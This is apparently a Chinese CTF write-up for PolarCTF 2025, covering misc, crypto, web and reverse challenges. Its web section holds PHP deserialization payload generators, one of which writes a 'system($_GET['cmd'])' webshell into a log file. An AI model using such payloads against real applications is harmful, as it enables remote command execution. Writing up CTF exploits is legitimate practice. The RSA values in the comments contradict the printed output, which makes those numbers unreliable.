PolarCTF 2025夏季挑战赛 WP
第一部分:MISC
1-1 秘密的消息
| 本题思路如下: 对1.txt解密 ![]() 第二关表情包是base100解密 ![]() 图片里藏了压缩包,对图片进行提取 最后得到Z29vZCBsdWNr,base64解密之后得到good luck,再32位小写md5加密即可 ![]() |
1-2 最爱的专辑
| 本题思路如下: txt里有密钥“我爱火星哥”,wav猜测是deepsound隐写,提取出来一个压缩包 ![]() 然后短信消息,根据图片提示是九键密码 ![]() 经过测试解压密码是Bruno Mars,解压后获得flag ![]() |
1-5 狂热粉丝(1-5)
| 本题思路如下: 第一题 打开chat-master,查看readme看到项目名Tinode ![]() 第二题 回收站里找到html文件,打开发现黑客发送的内容 ![]() 第三题 项目源文件在文档/Program(可以用everything搜索文件名) 使用die进行分析,发现Nultka,这是Python项目打包工具,所以是python(该项目文件夹里的python文件也证明了这一点) ![]() 第四题 看密码保存记录 ![]() 第五题 看main.py ![]() 这里都是把cmd.exe进行替换,因此是cmd.exe |
1-8 无线密钥追击4.0
| 本题思路如下: CTFNetA进行破解 ![]() |
第二部分:CRYPTO
2-1 长城守护计划的密码疑云
p = 4643
q = 8537
e = 6557355762357451357
c = 484927
# 计算 n 和 φ(n)
n = p * q
phi_n = (p - 1) * (q - 1)
# 计算 e_mod = e % φ(n)
e_mod = e % phi_n # e_mod = 5
# 计算 d = e_mod^{-1} mod φ(n)
d = pow(e_mod, -1, phi_n) # d = 7924823
# 解密密文 c 得到明文 m
m = pow(c, d, n)
print("私钥指数 d =", d)
print("解密后的明文 m =", m)
私钥指数 d = 18807893
解密后的明文 m = 22192076
d和m连在一起,加md5即可
2-2 云影
本题思路如下:
搜索是云影密码
解密
a = "5212081052120120885309853"
a = a.split("0")
flag = ''
for i in range(0, len(a)):
str = a[i]
sum = 0
for i in str:
sum += int(i)
flag += chr(sum + 64)
print (flag)
转32位小写md5后获得答案
2-3 unusually
from Crypto.Util.number import long_to_bytes
# 已知值m_prev = 671127523074690136116845074920717644143288626158531024402033639752688890215412609007519932833721
m_next = 671127523074690136116845074920717644143288626158531024402033639752688890215412609007519932834183
n = 1526026852743317872689519585937541940924797496649603692424635450129074124078179120067618023675593573
c = 367076481576650817908149902851774134294227770558143290079121674007696527322639764861520184786487
e = 65535
# 遍历区间 [m_prev+1, m_next-1]
for m_candidate in range(m_prev + 1, m_next):
# 检查条件:n^e mod m_candidate == c
if pow(n, e, m_candidate) == c:
print("Found m:", m_candidate)
flag = long_to_bytes(m_candidate)
print("Flag:", flag)
break
else: # 如果循环结束未找到 print("No valid m found in the interval")

第三部分:WEB
3-5 简单的链子
<?php
class A {
public $cmd = 'cat /flag';
}
$obj = new A();
echo urlencode(serialize($obj));
?>
完成后GET:data获得flag
3-8 nukaka_ser2
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
}
class VulnerableClass {
public $logger;
private $debugMode;
public function __construct() {
$this->debugMode = true;
$this->logger = new FlagReader();
}
}
$obj = new VulnerableClass();
echo base64_encode(serialize($obj));
?>
运行后传值即可
第四部分:REVERSE
4-1 re数独
| 本题思路如下: 数独存放位置在这里 ![]() 这一段每四个字节对应一个数 ![]() 得出数独 原来的: 5 3 0 | 0 7 0 | 0 0 0 0 0 0 | 1 9 5 | 0 0 0 0 0 0 | 0 0 0 | 0 6 0 ------+-------+------ 8 0 6 | 0 0 0 | 0 0 3 4 0 0 | 8 0 3 | 0 0 1 7 0 0 | 0 2 0 | 0 0 6 ------+-------+------ 0 6 0 | 0 0 0 | 2 8 0 0 0 0 | 4 1 9 | 0 0 5 0 0 0 | 0 8 0 | 0 7 9 解决后: 5 3 4 | 6 7 2 | 9 1 8 6 8 7 | 1 9 5 | 3 4 2 1 9 2 | 3 4 8 | 5 6 7 ------+-------+------ 8 2 6 | 5 1 4 | 7 9 3 4 5 9 | 8 6 3 | 2 7 1 7 1 3 | 9 2 4 | 8 5 6 ------+-------+------ 9 6 1 | 7 3 5 | 2 8 4 2 7 8 | 4 1 9 | 6 3 5 3 4 5 | 2 8 6 | 1 7 9 最后一行md5加密即可获得flag |















浙公网安备 33010602011771号